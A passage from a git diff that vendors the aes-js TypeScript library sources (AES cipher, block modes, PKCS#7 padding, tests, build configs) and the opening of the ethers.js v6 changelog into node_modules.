4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (S[ t[(i + 3) % 4] & 0xff] ^ tt ) & 0xff; + } + + return result; + } + + decrypt(ciphertext: Uint8Array): Uint8Array { + if (ciphertext.length != 16) { + throw new TypeError('invalid ciphertext size (must be 16 bytes)'); + } + + const rounds = this.#Kd.length - 1; + const a = [0, 0, 0, 0]; + + // convert plaintext to (ints ^ key) + let t = convertToInt32(ciphertext); + for (let i = 0; i < 4; i++) { + t[i] ^= this.#Kd[0][i]; + } + + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T5[(t[ i ] >> 24) & 0xff] ^ + T6[(t[(i + 3) % 4] >> 16) & 0xff] ^ + T7[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T8[ t[(i + 1) % 4] & 0xff] ^ + this.#Kd[r][i]); + } + t = a.slice(); + } + + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = this.#Kd[rounds][i]; + result[4 * i ] = (Si[(t[ i ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (Si[ t[(i + 1) % 4] & 0xff] ^ tt ) & 0xff; + } + + return result; + } +} diff --git a/node_modules/aes-js/src.ts/index.ts b/node_modules/aes-js/src.ts/index.ts new file mode 100644 index 000000000000..4f9edd465654 --- /dev/null +++ b/node_modules/aes-js/src.ts/index.ts @@ -0,0 +1,11 @@ +export { AES } from "./aes.js"; + +export { ModeOfOperation } from "./mode.js"; + +export { CBC } from "./mode-cbc.js"; +export { CFB } from "./mode-cfb.js"; +export { CTR } from "./mode-ctr.js"; +export { ECB } from "./mode-ecb.js"; +export { OFB } from "./mode-ofb.js"; + +export { pkcs7Pad, pkcs7Strip } from "./padding.js"; diff --git a/node_modules/aes-js/src.ts/mode-cbc.ts b/node_modules/aes-js/src.ts/mode-cbc.ts new file mode 100644 index 000000000000..3e18c03580b1 --- /dev/null +++ b/node_modules/aes-js/src.ts/mode-cbc.ts @@ -0,0 +1,61 @@ +// Cipher Block Chaining + +import { ModeOfOperation } from "./mode.js"; + +export class CBC extends ModeOfOperation { + #iv: Uint8Array; + #lastBlock: Uint8Array; + + constructor(key: Uint8Array, iv?: Uint8Array) { + super("ECC", key, CBC); + + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + this.#iv = new Uint8Array(iv); + } else { + this.#iv = new Uint8Array(16); + } + + this.#lastBlock = this.iv; + } + + get iv(): Uint8Array { return new Uint8Array(this.#iv); } + + encrypt(plaintext: Uint8Array): Uint8Array { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + + const ciphertext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + for (let j = 0; j < 16; j++) { + this.#lastBlock[j] ^= plaintext[i + j]; + } + + this.#lastBlock = this.aes.encrypt(this.#lastBlock); + ciphertext.set(this.#lastBlock, i); + } + + return ciphertext; + } + + decrypt(ciphertext: Uint8Array): Uint8Array { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + + const plaintext = new Uint8Array(ciphertext.length); + for (let i = 0; i < ciphertext.length; i += 16) { + const block = this.aes.decrypt(ciphertext.subarray(i, i + 16)); + + for (let j = 0; j < 16; j++) { + plaintext[i + j] = block[j] ^ this.#lastBlock[j]; + this.#lastBlock[j] = ciphertext[i + j]; + } + } + + return plaintext; + } +} diff --git a/node_modules/aes-js/src.ts/mode-cfb.ts b/node_modules/aes-js/src.ts/mode-cfb.ts new file mode 100644 index 000000000000..ab407ca941f9 --- /dev/null +++ b/node_modules/aes-js/src.ts/mode-cfb.ts @@ -0,0 +1,86 @@ +// Cipher Feedback + +import { ModeOfOperation } from "./mode.js"; + +export class CFB extends ModeOfOperation { + #iv: Uint8Array; + #shiftRegister: Uint8Array; + + readonly segmentSize!: number; + + constructor(key: Uint8Array, iv?: Uint8Array, segmentSize: number = 8) { + super("CFB", key, CFB); + + // This library currently only handles byte-aligned segmentSize + if (!Number.isInteger(segmentSize) || (segmentSize % 8)) { + throw new TypeError("invalid segmentSize"); + } + + Object.defineProperties(this, { + segmentSize: { enumerable: true, value: segmentSize } + }); + + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + this.#iv = new Uint8Array(iv); + } else { + this.#iv = new Uint8Array(16); + } + + this.#shiftRegister = this.iv; + } + + get iv(): Uint8Array { return new Uint8Array(this.#iv); } + + #shift(data: Uint8Array): void { + const segmentSize = this.segmentSize / 8; + + // Shift the register + this.#shiftRegister.set(this.#shiftRegister.subarray(segmentSize)); + this.#shiftRegister.set(data.subarray(0, segmentSize), 16 - segmentSize); + } + + encrypt(plaintext: Uint8Array): Uint8Array { + if (8 * plaintext.length % this.segmentSize) { + throw new TypeError("invalid plaintext size (must be multiple of segmentSize bytes)"); + } + + const segmentSize = this.segmentSize / 8; + + const ciphertext = new Uint8Array(plaintext); + + for (let i = 0; i < ciphertext.length; i += segmentSize) { + const xorSegment = this.aes.encrypt(this.#shiftRegister); + for (let j = 0; j < segmentSize; j++) { + ciphertext[i + j] ^= xorSegment[j]; + } + + this.#shift(ciphertext.subarray(i)); + } + + return ciphertext; + } + + decrypt(ciphertext: Uint8Array): Uint8Array { + if (8 * ciphertext.length % this.segmentSize) { + throw new TypeError("invalid ciphertext size (must be multiple of segmentSize bytes)"); + } + + const segmentSize = this.segmentSize / 8; + + const plaintext = new Uint8Array(ciphertext); + + for (let i = 0; i < plaintext.length; i += segmentSize) { + const xorSegment = this.aes.encrypt(this.#shiftRegister); + for (let j = 0; j < segmentSize; j++) { + plaintext[i + j] ^= xorSegment[j]; + } + + this.#shift(ciphertext.subarray(i)); + } + + return plaintext; + } +} diff --git a/node_modules/aes-js/src.ts/mode-ctr.ts b/node_modules/aes-js/src.ts/mode-ctr.ts new file mode 100644 index 000000000000..d23d8bb5ad00 --- /dev/null +++ b/node_modules/aes-js/src.ts/mode-ctr.ts @@ -0,0 +1,82 @@ +// Counter Mode + +import { ModeOfOperation } from "./mode.js"; + +export class CTR extends ModeOfOperation { + + // Remaining bytes for the one-time pad + #remaining: Uint8Array; + #remainingIndex: number; + + // The current counter + #counter: Uint8Array; + + constructor(key: Uint8Array, initialValue?: number | Uint8Array) { + super("CTR", key, CTR); + + this.#counter = new Uint8Array(16) + this.#counter.fill(0); + + this.#remaining = this.#counter; // This will be discarded immediately + this.#remainingIndex = 16; + + if (initialValue == null) { initialValue = 1; } + + if (typeof(initialValue) === "number") { + this.setCounterValue(initialValue); + } else { + this.setCounterBytes(initialValue); + } + } + + get counter(): Uint8Array { return new Uint8Array(this.#counter); } + + setCounterValue(value: number): void { + if (!Number.isInteger(value) || value < 0 || value > Number.MAX_SAFE_INTEGER) { + throw new TypeError("invalid counter initial integer value"); + } + + for (let index = 15; index >= 0; --index) { + this.#counter[index] = value % 256; + value = Math.floor(value / 256); + } + } + + setCounterBytes(value: Uint8Array): void { + if (value.length !== 16) { + throw new TypeError("invalid counter initial Uint8Array value length"); + } + + this.#counter.set(value); + } + + increment() { + for (let i = 15; i >= 0; i--) { + if (this.#counter[i] === 255) { + this.#counter[i] = 0; + } else { + this.#counter[i]++; + break; + } + } + } + + encrypt(plaintext: Uint8Array): Uint8Array { + const crypttext = new Uint8Array(plaintext); + + for (let i = 0; i < crypttext.length; i++) { + if (this.#remainingIndex === 16) { + this.#remaining = this.aes.encrypt(this.#counter); + this.#remainingIndex = 0; + this.increment(); + } + crypttext[i] ^= this.#remaining[this.#remainingIndex++]; + } + + return crypttext; + } + + decrypt(ciphertext: Uint8Array): Uint8Array { + return this.encrypt(ciphertext); + } +} diff --git a/node_modules/aes-js/src.ts/mode-ecb.ts b/node_modules/aes-js/src.ts/mode-ecb.ts new file mode 100644 index 000000000000..370674de09f3 --- /dev/null +++ b/node_modules/aes-js/src.ts/mode-ecb.ts @@ -0,0 +1,36 @@ +// Electronic Code Book + +import { ModeOfOperation } from "./mode.js"; + +export class ECB extends ModeOfOperation { + + constructor(key: Uint8Array) { + super("ECB", key, ECB); + } + + encrypt(plaintext: Uint8Array): Uint8Array { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + + const crypttext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + crypttext.set(this.aes.encrypt(plaintext.subarray(i, i + 16)), i); + } + + return crypttext; + } + + decrypt(crypttext: Uint8Array): Uint8Array { + if (crypttext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + + const plaintext = new Uint8Array(crypttext.length); + for (let i = 0; i < crypttext.length; i += 16) { + plaintext.set(this.aes.decrypt(crypttext.subarray(i, i + 16)), i); + } + + return plaintext; + } +} diff --git a/node_modules/aes-js/src.ts/mode-ofb.ts b/node_modules/aes-js/src.ts/mode-ofb.ts new file mode 100644 index 000000000000..a95f1e2f7be6 --- /dev/null +++ b/node_modules/aes-js/src.ts/mode-ofb.ts @@ -0,0 +1,51 @@ +// Output Feedback + +import { ModeOfOperation } from "./mode.js"; + +export class OFB extends ModeOfOperation { + #iv: Uint8Array; + #lastPrecipher: Uint8Array; + #lastPrecipherIndex: number; + + constructor(key: Uint8Array, iv?: Uint8Array) { + super("OFB", key, OFB); + + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + this.#iv = new Uint8Array(iv); + } else { + this.#iv = new Uint8Array(16); + } + + this.#lastPrecipher = this.iv; + this.#lastPrecipherIndex = 16; + } + + get iv(): Uint8Array { return new Uint8Array(this.#iv); } + + encrypt(plaintext: Uint8Array): Uint8Array { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + + const ciphertext = new Uint8Array(plaintext); + for (let i = 0; i < ciphertext.length; i++) { + if (this.#lastPrecipherIndex === 16) { + this.#lastPrecipher = this.aes.encrypt(this.#lastPrecipher); + this.#lastPrecipherIndex = 0; + } + ciphertext[i] ^= this.#lastPrecipher[this.#lastPrecipherIndex++]; + } + + return ciphertext; + } + + decrypt(ciphertext: Uint8Array): Uint8Array { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + return this.encrypt(ciphertext); + } +} diff --git a/node_modules/aes-js/src.ts/mode.ts b/node_modules/aes-js/src.ts/mode.ts new file mode 100644 index 000000000000..a53ef326b0c5 --- /dev/null +++ b/node_modules/aes-js/src.ts/mode.ts @@ -0,0 +1,21 @@ + +import { AES } from "./aes.js"; + +export abstract class ModeOfOperation { + readonly aes!: AES; + readonly name!: string; + + constructor(name: string, key: Uint8Array, cls?: any) { + if (cls && !(this instanceof cls)) { + throw new Error(`${ name } must be instantiated with "new"`); + } + + Object.defineProperties(this, { + aes: { enumerable: true, value: new AES(key) }, + name: { enumerable: true, value: name } + }); + } + + abstract encrypt(plaintext: Uint8Array): Uint8Array; + abstract decrypt(ciphertext: Uint8Array): Uint8Array; +} diff --git a/node_modules/aes-js/src.ts/padding.ts b/node_modules/aes-js/src.ts/padding.ts new file mode 100644 index 000000000000..8c0ceec4c754 --- /dev/null +++ b/node_modules/aes-js/src.ts/padding.ts @@ -0,0 +1,29 @@ + +export function pkcs7Pad(data: Uint8Array): Uint8Array { + const padder = 16 - (data.length % 16); + + const result = new Uint8Array(data.length + padder); + result.set(data); + + for (let i = data.length; i < result.length; i++) { + result[i] = padder; + } + + return result; +} + +export function pkcs7Strip(data: Uint8Array): Uint8Array { + if (data.length < 16) { throw new TypeError('PKCS#7 invalid length'); } + + const padder = data[data.length - 1]; + if (padder > 16) { throw new TypeError('PKCS#7 padding byte out of range'); } + + const length = data.length - padder; + for (let i = 0; i < padder; i++) { + if (data[length + i] !== padder) { + throw new TypeError('PKCS#7 invalid padding byte'); + } + } + + return new Uint8Array(data.subarray(0, length)); +} diff --git a/node_modules/aes-js/src.ts/tests.ts b/node_modules/aes-js/src.ts/tests.ts new file mode 100644 index 000000000000..ae5c8ea9b061 --- /dev/null +++ b/node_modules/aes-js/src.ts/tests.ts @@ -0,0 +1,102 @@ +import assert from "assert" +import fs from "fs"; +import { join, resolve } from "path"; + +import * as aes from "./index.js"; + +interface TestCase { + modeOfOperation: string; + + iv: Array; + key: Array; + + plaintext: Array>; + encrypted: Array>; + + segmentSize: number; +} + +const root = (function() { + let root = process.cwd(); + + while (true) { + if (fs.existsSync(join(root, "package.json"))) { return root; } + const parent = join(root, ".."); + if (parent === root) { break; } + root = parent; + } + + throw new Error("could not find root"); +})(); + +describe("Tests Encrypting and Decrypting", function() { + const json = fs.readFileSync(resolve(root, "./test/test-vectors.json")).toString() + const tests: Array = JSON.parse(json); + + function getCrypter(key: Uint8Array, test: TestCase): null | aes.ModeOfOperation { + switch (test.modeOfOperation) { + case "ctr": + return new aes.CTR(key, 0); + case "cbc": + return new aes.CBC(key, Buffer.from(test.iv)); + case "cfb": + return new aes.CFB(key, Buffer.from(test.iv), test.segmentSize * 8); + case "ecb": + return new aes.ECB(key); + case "ofb": + return new aes.OFB(key, Buffer.from(test.iv)); + } + + return null; + } + + tests.forEach((test, index) => { + + it(`tests encrypting: ${ test. modeOfOperation}.${ index }`, function() { + const encrypter = getCrypter(Buffer.from(test.key), test); + if (!encrypter) { this.skip(); } + + for (let i = 0; i < test.plaintext.length; i++) { + const plaintext = Buffer.from(test.plaintext[i]); + const ciphertext = Buffer.from(test.encrypted[i]); + + const result = Buffer.from(encrypter.encrypt(plaintext)); + assert.ok(ciphertext.equals(result), "encrypting failed"); + } + }); + + it(`tests decrypting: ${ test. modeOfOperation}.${ index }`, function() { + const decrypter = getCrypter(Buffer.from(test.key), test); + if (!decrypter) { this.skip(); } + + for (let i = 0; i < test.plaintext.length; i++) { + const plaintext = Buffer.from(test.plaintext[i]); + const ciphertext = Buffer.from(test.encrypted[i]); + + const result = Buffer.from(decrypter.decrypt(ciphertext)); + assert.ok(plaintext.equals(result), "decrypting failed"); + } + }); + }); +}); + +describe("Tests Padding", function() { + for (let size = 0; size < 100; size++) { + it(`tests padding: length=${ size }`, function() { + + // Create a random piece of data + const data = new Uint8Array(size); + data.fill(42); + + // Pad it + const padded = aes.pkcs7Pad(data); + assert.ok((padded.length % 16) === 0, "Failed to pad to block size"); + assert.ok(data.length <= padded.length && padded.length <= data.length + 16, "Padding went awry"); + assert.ok(padded[padded.length - 1] >= 1 && padded[padded.length - 1] <= 16, "Failed to pad to block size"); + + // Trim it + const trimmed = aes.pkcs7Strip(padded); + assert.ok(Buffer.from(data).equals(trimmed), "Failed to trim to original data"); + }); + } +}); diff --git a/node_modules/aes-js/tsconfig.base.json b/node_modules/aes-js/tsconfig.base.json new file mode 100644 index 000000000000..ed057625aca7 --- /dev/null +++ b/node_modules/aes-js/tsconfig.base.json @@ -0,0 +1,31 @@ +{ + "compilerOptions": { + "declaration": true, + "declarationMap": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "lib": [ + "es2015", + "es5", + "dom" + ], + "module": "es6", + "moduleResolution": "node16", + "noEmitOnError": true, + "noFallthroughCasesInSwitch": true, + "noImplicitAny": true, + "noImplicitReturns": true, + "noUnusedLocals": true, + "preserveSymlinks": true, + "preserveWatchOutput": true, + "pretty": false, + "rootDir": "./src.ts", + "sourceMap": true, + "strict": true, + "target": "es2016" + }, + "include": [ + "./src.ts/*.ts" + ], + "exclude": [ ] +} diff --git a/node_modules/aes-js/tsconfig.commonjs.json b/node_modules/aes-js/tsconfig.commonjs.json new file mode 100644 index 000000000000..05103d1ada21 --- /dev/null +++ b/node_modules/aes-js/tsconfig.commonjs.json @@ -0,0 +1,7 @@ +{ + "extends": "./tsconfig.base.json", + "compilerOptions": { + "module": "commonjs", + "outDir": "./lib.commonjs" + } +} diff --git a/node_modules/aes-js/tsconfig.esm.json b/node_modules/aes-js/tsconfig.esm.json new file mode 100644 index 000000000000..aa45c3b52e3b --- /dev/null +++ b/node_modules/aes-js/tsconfig.esm.json @@ -0,0 +1,7 @@ +{ + "extends": "./tsconfig.base.json", + "compilerOptions": { + "module": "es2020", + "outDir": "./lib.esm" + } +} diff --git a/node_modules/ethers/CHANGELOG.md b/node_modules/ethers/CHANGELOG.md new file mode 100644 index 000000000000..77f5ad371c82 --- /dev/null +++ b/node_modules/ethers/CHANGELOG.md @@ -0,0 +1,465 @@ +Change Log +========== + +This change log is maintained by `src.ts/_admin/update-changelog.ts` but may also be manually updated. + +ethers/v6.15.0 (2025-07-01 11:24) +--------------------------------- + + - Allow non-canonical S values in Signatures moving errors to access-time ([#5013](https://github.com/ethers-io/ethers.js/issues/5013); [9944ec9](https://github.com/ethers-io/ethers.js/commit/9944ec94b154b4f8fdfeefb81a1e47b28fd907bc)). + +ethers/v6.14.4 (2025-06-12 23:16) +--------------------------------- + + - Fixed serialization of EIP-7702 transactions with leading 0-bytes ([#4916](https://github.com/ethers-io/ethers.js/issues/4916); [389dc03](https://github.com/ethers-io/ethers.js/commit/389dc0381222206011037792fd575c36da25abbf)). + +ethers/v6.14.3 (2025-05-26 18:55) +--------------------------------- + + - Fixed non-normalized yParity on EIP-7702 JSON-RPC responses ([#4985](https://github.com/ethers-io/ethers.js/issues/4985); [a8803ca](https://github.com/ethers-io/ethers.js/commit/a8803ca4dce20d2dededed8da65e80f2a8770fb1)). + +ethers/v6.14.2 (2025-05-26 18:03) +--------------------------------- + + - Fixed call stack overflow in makeError stringify for recursive structures ([#4977](https://github.com/ethers-io/ethers.js/issues/4977), [#4978](https://github.com/ethers-io/ethers.js/issues/4978); [52a0522](https://github.com/ethers-io/ethers.js/commit/52a052210919a35b0b0b38e357b3003ac8259fce)). + - Explicitly throw error on gunzip failure to prevent uncaught exception ([#4873](https://github.com/ethers-io/ethers.js/issues/4873), [#4874](https://github.com/ethers-io/ethers.js/issues/4874); [fe98f98](https://github.com/ethers-io/ethers.js/commit/fe98f985e38e7540108b20d7966cca3f85d620f3)). + - Skip additional receipt fetch for single confirmation requests ([#4972](https://github.com/ethers-io/ethers.js/issues/4972); [243cb02](https://github.com/ethers-io/ethers.js/commit/243cb02c52e33c8e09b637ae775e520c1cd672d3)). + - Update EtherscanProvider to use their v2 API ([#4975](https://github.com/ethers-io/ethers.js/issues/4975); [5e09aa1](https://github.com/ethers-io/ethers.js/commit/5e09aa1fe4e216a89875bab768bec484aeaf553d)). + +ethers/v6.14.1 (2025-05-15 14:17) +--------------------------------- + + - Fix JSON-RPC authorizationList signature entries encoded as DATA instead of QUANTITY values ([#4916](https://github.com/ethers-io/ethers.js/issues/4916); [135db72](https://github.com/ethers-io/ethers.js/commit/135db722756b81f44f55441e1e2d24ef4f85f216)). + +ethers/v6.14.0 (2025-05-06 22:02) +--------------------------------- + + - Remove BlockscoutProvider temporarily until custom error issues are fixed ([805a8b3](https://github.com/ethers-io/ethers.js/commit/805a8b3aba26998a1e25055e9d3dd41c01ebbba0)). + - EIP-7702 support ([#4916](https://github.com/ethers-io/ethers.js/issues/4916); [db490e1](https://github.com/ethers-io/ethers.js/commit/db490e1afaaa139be9cb38e6b50a1bc4ef28e075), [e7c1bdf](https://github.com/ethers-io/ethers.js/commit/e7c1bdf6f0a5d6f976dddd6375e76445ac6851fc)). + - Added support for to override fetch init options in the Browser ([#3895](https://github.com/ethers-io/ethers.js/issues/3895); [844ae68](https://github.com/ethers-io/ethers.js/commit/844ae68a96deabc4d5f053dad5f1112b06f08d9a)). + - Added EIP-6963 discovery to BrowserProvider ([f5469dd](https://github.com/ethers-io/ethers.js/commit/f5469dd0e0719389d51e0106ee36d07a7ebef875)). + - Accept modern KZG library API while exposing legacy API ([#4841](https://github.com/ethers-io/ethers.js/issues/4841); [e5036e7](https://github.com/ethers-io/ethers.js/commit/e5036e778624fea957dd847f7be1a9f148b8997e)). + - Added CommunityResourcable to exports ([#4776](https://github.com/ethers-io/ethers.js/issues/4776); [bca8d1b](https://github.com/ethers-io/ethers.js/commit/bca8d1b549569e6f7793f07fcc46dfd731e37d2b)). + +ethers/v6.13.7 (2025-04-25 21:50) +--------------------------------- + + - Fix FallbackProvider coalescing call exceptions when backends return slightly different error message ([268a0ac](https://github.com/ethers-io/ethers.js/commit/268a0ac5af6a2a59c240195d75ed19047731c6c0)). + - Fixed Infura BSC network URLs ([#4951](https://github.com/ethers-io/ethers.js/issues/4951); [d01b4cb](https://github.com/ethers-io/ethers.js/commit/d01b4cb84b2f00dd04dc5317600a52f1fcf9b316)). + +ethers/v6.13.6 (2025-03-21 18:21) +--------------------------------- + + - Implicitly use EIP-7702 if authorizationList is given and non-empty ([#4961](https://github.com/ethers-io/ethers.js/issues/4961); [e7c1bdf](https://github.com/ethers-io/ethers.js/commit/e7c1bdf6f0a5d6f976dddd6375e76445ac6851fc)). + - Initial EIP-7702 support ([#4916](https://github.com/ethers-io/ethers.js/issues/4916); [db490e1](https://github.com/ethers-io/ethers.js/commit/db490e1afaaa139be9cb38e6b50a1bc4ef28e075)). + - Added support for to override fetch init options in the Browser ([#3895](https://github.com/ethers-io/ethers.js/issues/3895); [844ae68](https://github.com/ethers-io/ethers.js/commit/844ae68a96deabc4d5f053dad5f1112b06f08d9a)). + - Added EIP-6963 discovery to BrowserProvider ([f5469dd](https://github.com/ethers-io/ethers.js/commit/f5469dd0e0719389d51e0106ee36d07a7ebef875)). + - Merge: e5036e77 158f5d02 Merge branch 'main' into wip-v6.14 ([e7165a6](https://github.com/ethers-io/ethers.js/commit/e7165a6151e1fddcc9b8f4f30dfc13ee0a7d6f87)). + - tests: squelch the noisy runtime console API event in browser tests ([79428fd](https://github.com/ethers-io/ethers.js/commit/79428fd44950ca21e9cc1b6f850122461217b0b3)). + - tests: added faucet key environment for browser CI tests ([27d42af](https://github.com/ethers-io/ethers.js/commit/27d42af134bec099164e7afd03420c3dad53e3a9)). + - tests: better runtime exception output for browser tests ([0beed25](https://github.com/ethers-io/ethers.js/commit/0beed258242cff7029ef1806ad0ff4955cb135c1)). + - tests: added more debug endpoints to browser tests ([33bbf66](https://github.com/ethers-io/ethers.js/commit/33bbf662213b5d4a00901e490fd432dbeeb1a26b)). + - tests: added JSON-RPC tests to web browser CI ([1c0c23c](https://github.com/ethers-io/ethers.js/commit/1c0c23c084e389390ce00e5a421267a4f8bdef0d)). + - tests: added browser tests for sending ([afd613a](https://github.com/ethers-io/ethers.js/commit/afd613a2a0c9fb548805ed36e23ad9a5d4bcc239)). + - tests: debugging browser tests failing to launch ([d1baa74](https://github.com/ethers-io/ethers.js/commit/d1baa741f6b272ba692e0e78787cacb1bd42a8b4)). + - tests: fix assert call for browser assert ([1806bbd](https://github.com/ethers-io/ethers.js/commit/1806bbde27523933fb140ad985426f94e0286faf)). + - tests: inlcude more node tests in the browser tests ([92fd5d1](https://github.com/ethers-io/ethers.js/commit/92fd5d1f47c640caa7100bcccf0b133e866989e6)). + - tests: move more tests to dev network ([996f30c](https://github.com/ethers-io/ethers.js/commit/996f30c674002cea316fa7aa3929f43409f934bc)). + - tests: debugging CI browser failure ([ce7212d](https://github.com/ethers-io/ethers.js/commit/ce7212d03d6867081603794f0480f31d053823c4)). + - tests: debugging CI browser failure ([f1821a6](https://github.com/ethers-io/ethers.js/commit/f1821a696763938ca9d44815bdcd5cc043eb3900)). + - tests: debugging CI browser failure ([cc9119c](https://github.com/ethers-io/ethers.js/commit/cc9119cecb6b970544861642861807c520eb763b)). + - tests: debugging CI browser failure ([3ac33f9](https://github.com/ethers-io/ethers.js/commit/3ac33f9a40e40dabf9c19b8cc7114ce9897a3646)). + - tests: debugging CI browser failure ([25b11ee](https://github.com/ethers-io/ethers.js/commit/25b11ee0eaa57293fe981b9b6b19bdae7d4db169)). + - tests: debug CI failing ([3bcbcae](https://github.com/ethers-io/ethers.js/commit/3bcbcaeb025c530717b15c5ba099d320fdd9f934)). + - tests: added circular support to browser-safe inspect ([3854b39](https://github.com/ethers-io/ethers.js/commit/3854b39763a2a57f363bf9bf925adcc27002bde1)). + - tests: added browser-safe inspect for tests ([e299a31](https://github.com/ethers-io/ethers.js/commit/e299a31ecb9017baf07c58bb927c2e718ebeb447)). + - tests: fix for browser CI tests ([74a68bc](https://github.com/ethers-io/ethers.js/commit/74a68bcc4976e48a00f57f5279664551b47b6840)). + - tests: adding debug info to local JsonPrcProvider ([c508538](https://github.com/ethers-io/ethers.js/commit/c5085385563c57c7958be1ab413079dc8409c8c4)). + - tests: temporarily remove QuickNode ([499ed8c](https://github.com/ethers-io/ethers.js/commit/499ed8c4bb91b918148c348b805ce753584065b6)). + - Accept modern KZG library API while exposing legacy API ([#4841](https://github.com/ethers-io/ethers.js/issues/4841); [e5036e7](https://github.com/ethers-io/ethers.js/commit/e5036e778624fea957dd847f7be1a9f148b8997e)). + - Added CommunityResourcable to exports ([#4776](https://github.com/ethers-io/ethers.js/issues/4776); [bca8d1b](https://github.com/ethers-io/ethers.js/commit/bca8d1b549569e6f7793f07fcc46dfd731e37d2b)). + +ethers/v6.13.5 (2025-01-04 15:26) +--------------------------------- + + - Use local dev net for testing Typed API to prevent tests getting throttled ([7654ee3](https://github.com/ethers-io/ethers.js/commit/7654ee3c6487171a4e13207accfc90f93a22b0fc)). + - Fixed bad logic for searching prefetched transactions by hash ([#4868](https://github.com/ethers-io/ethers.js/issues/4868); [ef3c9bc](https://github.com/ethers-io/ethers.js/commit/ef3c9bc3afb9e36a073bbd3572e9021a852bd2c4)). + - Add newline delimiter to IPC providers for broader support ([#4847](https://github.com/ethers-io/ethers.js/issues/4847); [474a8de](https://github.com/ethers-io/ethers.js/commit/474a8ded2b94a563067d3b4dd5f60ec0725b9a27)). + +ethers/v6.13.4 (2024-10-10 18:01) +--------------------------------- + + - Updated dependencies ([1d717ef](https://github.com/ethers-io/ethers.js/commit/1d717ef940b77d4ca9b350aa3aa159a40a547ac0)). + - Fixed bug in JSON-RPC error checking ([#4827](https://github.com/ethers-io/ethers.js/issues/4827), [#4837](https://github.com/ethers-io/ethers.js/issues/4837), [#4851](https://github.com/ethers-io/ethers.js/issues/4851); [be3e6b1](https://github.com/ethers-io/ethers.js/commit/be3e6b14433bc88ad8c0c98a4f3a2a627cea6b99)). + +ethers/v6.13.3 (2024-09-30 22:08) +--------------------------------- + + - Allow CCIP-read to continue during low-level fetch failures ([#4842](https://github.com/ethers-io/ethers.js/issues/4842); [1c31f95](https://github.com/ethers-io/ethers.js/commit/1c31f95f7a1e4993ca0f1706002a975a0060dd88)). + +ethers/v6.13.2 (2024-07-25 17:54) +--------------------------------- + + - Prevent mutating transactions when signing ([#4789](https://github.com/ethers-io/ethers.js/issues/4789); [1a51af8](https://github.com/ethers-io/ethers.js/commit/1a51af85397283601db77ca61d5596b145e7f2cb)). + +ethers/v6.13.1 (2024-06-18 02:09) +--------------------------------- + + - Update ws package to address possible DoS vulnerability ([a4b1d1f](https://github.com/ethers-io/ethers.js/commit/a4b1d1f43fca14f2e826e3c60e0d45f5b6ef3ec4)). + +ethers/v6.13.0 (2024-06-04 01:01) +--------------------------------- + + - Added Options for BrowserProvider ([#4707](https://github.com/ethers-io/ethers.js/issues/4707); [33bb0bf](https://github.com/ethers-io/ethers.js/commit/33bb0bf30e1e6a699c24415a1edf0fa4ed28b6aa)). + - Fix Result deep toObject when a parent is an Array ([#4681](https://github.com/ethers-io/ethers.js/issues/4681); [d8cb849](https://github.com/ethers-io/ethers.js/commit/d8cb84957078985f5449fa26c6fd8087dbd17aec)). + - Added consistent timeout and cancel behaviour to FetchRequest ([#4122](https://github.com/ethers-io/ethers.js/issues/4122); [a12a739](https://github.com/ethers-io/ethers.js/commit/a12a7391fba39b5c114fa658590fae305dcedd17)). + +ethers/v6.12.2 (2024-05-30 17:24) +--------------------------------- + + - Copy EIP-4844 properties during estimateGas and call ([#4728](https://github.com/ethers-io/ethers.js/issues/4728); [cebe5ee](https://github.com/ethers-io/ethers.js/commit/cebe5eed91de0db5931b7847e76ee27cb2ce9219)). + - Use non-capturing regex for data to prevent memory exhaustion for long strings ([#4741](https://github.com/ethers-io/ethers.js/issues/4741); [5463aa0](https://github.com/ethers-io/ethers.js/commit/5463aa03eacde45322a1e05693ce90e4d7abcaa7)). + - Added Base endpointsto EtherscanProvider ([#4729](https://github.com/ethers-io/ethers.js/issues/4729); [7e1dc95](https://github.com/ethers-io/ethers.js/commit/7e1dc95ea2564c1eb0a9452b9a16002f3696765c)). + +ethers/v6.12.1 (2024-04-30 22:46) +--------------------------------- + + - Prevent bad Interface clone when using two different versions of v6 ([#4689](https://github.com/ethers-io/ethers.js/issues/4689); [4d2d90f](https://github.com/ethers-io/ethers.js/commit/4d2d90f5cea2eb2f9559e490a34aa1567c8c4c14)). + - Fixed typo in error message for invalid quorum weight ([#4149](https://github.com/ethers-io/ethers.js/issues/4149); [45b9b9c](https://github.com/ethers-io/ethers.js/commit/45b9b9c9322bf20feaf892d948bcfb8db8932877)). + - Added matic-amoy to EtherescanProvider ([#4711](https://github.com/ethers-io/ethers.js/issues/4711); [5c8d17a](https://github.com/ethers-io/ethers.js/commit/5c8d17a61825fe002bd45ee5b2239bfd8c8ae189)). + - Fix JsonRpcProvider ignoring pollingInterval in options ([#4644](https://github.com/ethers-io/ethers.js/issues/4644); [7b7be0d](https://github.com/ethers-io/ethers.js/commit/7b7be0d1ef637f073b28bce54f4ecdfb8c88d09c)). + +ethers/v6.12.0 (2024-04-17 01:09) 